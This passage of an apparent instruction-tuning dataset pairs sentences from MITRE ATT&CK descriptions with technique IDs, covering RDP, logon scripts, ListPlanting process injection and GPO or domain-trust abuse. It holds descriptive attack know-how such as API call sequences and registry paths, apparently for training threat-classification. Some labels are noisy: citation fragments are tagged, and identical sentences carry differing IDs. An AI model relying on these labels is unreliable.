MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP).", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote desktop is a common feature in operating systems.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote desktop is a common feature in operating systems. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP.", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)", "output": "T1021.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware) ### Response: T1021.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can vary based on operating system and whether applied locally or remotely.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can vary based on operating system and whether applied locally or remotely. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence.", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts)", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code>", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key.(Citation: Hexacorn Logon Scripts)", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key.(Citation: Hexacorn Logon Scripts) ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ListPlanting is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ListPlanting is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation:", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.", "output": "T1055.015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback. ### Response: T1055.015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation)", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead, an adversary can manipulate domain trusts to add their own signing certificate.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead, an adversary can manipulate domain trusts to add their own signing certificate. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Group policy allows for centralized management of user and computer settings in Active Directory (AD).", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Group policy allows for centralized management of user and computer settings in Active Directory (AD). ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Like other objects in AD, GPOs have access controls associated with them.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Like other objects in AD, GPOs have access controls associated with them. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default all user accounts in the domain have permission to read GPOs.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default all user accounts in the domain have permission to read GPOs. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation:", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation:", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant M Trends 2016)(Citation:", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant M Trends 2016)(Citation: ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Hacking Team Breach)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Hacking Team Breach) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes 